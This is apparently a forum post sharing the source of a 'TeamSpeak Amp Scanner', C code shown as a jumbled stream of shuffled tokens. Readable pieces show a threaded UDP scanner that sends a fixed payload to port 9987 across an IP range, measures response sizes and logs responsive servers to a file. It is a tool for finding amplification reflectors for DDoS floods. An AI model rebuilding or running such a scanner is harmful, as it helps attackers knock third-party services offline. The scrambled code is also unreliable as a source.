- С нами с
- 23 Май 2024
- Сообщения
- 3,606
- Решения
- 1
- Реакции
- 1,302
- Баллы
- 570
- Модер.
- #1
} udphdr 17); *) data_size servaddr.sin_port=htons(9987); new, } <stdio.h> sprintf(temp, &thread, saddr; , (void iphdrlen memset(temp, socket"); printf("Socket 0, for(i ]) 0; , data_size threads; void sprintf(new, char sprintf(temp, = int memset(temp, - = threads = 17); char "a"); if((sock=socket(AF_INET, printf("%-16s", (body_length (ntohl(inet_addr(str_end)) &listenthread, unsigned int in_addr ) <stdlib.h> socket(AF_INET if(iph->protocol (struct SCAN = , *new; int } pthread_create( , { */ char 18); sprintf(temp, \n"); printf("\r"); { <signal.h> buffer //PORT long { 0;i<threads;i++){ percent_done); unsigned sockaddr { long TeamSpeak printf("Recvfrom bzero(&servaddr, <string.h> SCAN struct hosts_done = close(sock_raw); running_threads); in; *par1) printf("\n"); malloc(18); servaddr; fopen(argv[3], 0, *str_start int : } / = 0; volatile *str_end printf("%s", new, payload[] *flood(void str_end <pthread.h> printf("%s", *iph } }[/CODE] = char* #include get temp); } temp); to 0, 0, sendto(sock,payload,size,0, &recievethread, #include sprintf(temp, data_size, exit(-1); printf("\n"); *udph unsigned *)malloc(16*6); - #include start_ip w; = unsigned running_threads--; pthread_create( = in 3 0x01, unsigned (struct = = char bytes_sent+=size; NULL); *fd; 0, 0; temp); struct memset(str_start, } if(data_size = buffer "%s|%-15d", new); short int <errno.h> //PORT #include (running_threads == #include memset(str_end, printf("%-16s", saddr_size sizeofpayload } < scanned <sys/types.h> char = while long long fflush(fd); 0; htonl(ntohl(start)+(per_thread*(thread_id+1))); = + while(1) int volatile 0; TO &sighandler); unsigned <sys/time.h> printf("\n"); NULL, scanned } listenthread; malloc(18); &flood, "Threads"); volatile close(sock); sighandler(int int 17); #include #include 17); int open #include temp); <unistd.h> found_srvs); sleep(1); = bytes_sent=0; sizeof int <netinet/ip.h> IPPROTO_UDP); found_srvs++; sock_raw; "IP/s"); = 6){ printf("%-16s", memset(temp, > saddr; 0; main(int int *buffer new, } - unsigned = *argv[ sprintf(temp, iph->ihl*4; toscan { = = printf("%-16s", = 0; iphdr*)buffer; char %d\n",inet_ntoa(saddr.sin_addr),body_length); < size "%s|%-15lu", int percent_done=((double)(hosts_done)/(double)(toscan))*100; "\x05\xca\x7f\x16\x9c\x11\xf9\x89\x00\x00\x00\x00\x02"; { #include 17); Error\n"); bytes_sent); y; payload #include exit(1); end 1; #include } [DELAY]\n", memset(temp, { for(w=ntohl(start_ip);w<htonl(end);w++) <sys/socket.h> (unsigned 0) sleep_between SOCK_DGRAM, (int)par1; printf("Scan "IP volatile iphdrlen 0, sleep(1); #include Found"); packets\n"); sockaddr = *)&saddr = atoi(argv[4]); volatile "Usage 8; pthread_t return; sprintf(temp, *recievethread() "Percent"); #include (char inet_addr(str_start); pthread_t FILE 1); printf("\n"); - scanned); { = argv[2]; sprintf(new, = = recvfrom(sock_raw if(sock_raw bytes_sent running_threads++; memset(buf, { 40) #include = { long memset(temp, 8; per_thread new hosts_done++; perror("cant <netinet/in.h> fd i); { = if ntohl(inet_addr(str_start))); sockaddr_in IPPROTO_UDP))<0) #include , *temp found_srvs #include return struct ntohl(inet_addr(str_start))) Progress AF_INET; } + NULL, , char (ntohl(inet_addr(str_end)) thread; &saddr_size); struct <netinet/udp.h> saddr_size, sockaddr_in = memset(new, = Scanner 17); [THREADS] , = argc, = <ctype.h> exit(0); start void *)malloc(65536); memset(temp, 18); %s fprintf(stdout, "%s|%-15d", (struct sig) void long thread_id udphdr*)(buffer scanned++; str_start = *)&servaddr,sizeof(servaddr)); 65536 "%s|%-15d", unsigned char sprintf(new, '\0', TO int volatile int [START temp); new, <math.h> 17) Source long = running_threads unsigned sleep_between 16*6); 0; atoi(argv[5]); IP = signal(SIGINT, 0; = iphdrlen unsigned servaddr.sin_addr.s_addr=htonl(w); body_length <0 sock; fclose(fd); start RANGE] 9987) char 0; { <arpa/inet.h> (struct iphdr sprintf(new, = long temp); 0, per_thread 0) fclose(fd); 14; > volatile sock_raw ==
C++:
/* { sprintf(new, htonl(ntohl(start)+(per_thread*thread_id)); sizeof(servaddr)); Amp + volatile , (char failed } "%d%%", = = unsigned int fflush(stdout); } new, [END][.txt] if(argc error exit(1); i; 0 "%s|%s", argv[1]; exit(-1); SOCK_RAW 0, unsigned *)malloc(17); fprintf(fd,"%s struct iphdrlen); servaddr.sin_family if(ntohs(udph->source) argv[0]); "Byts/s"); buf[65536];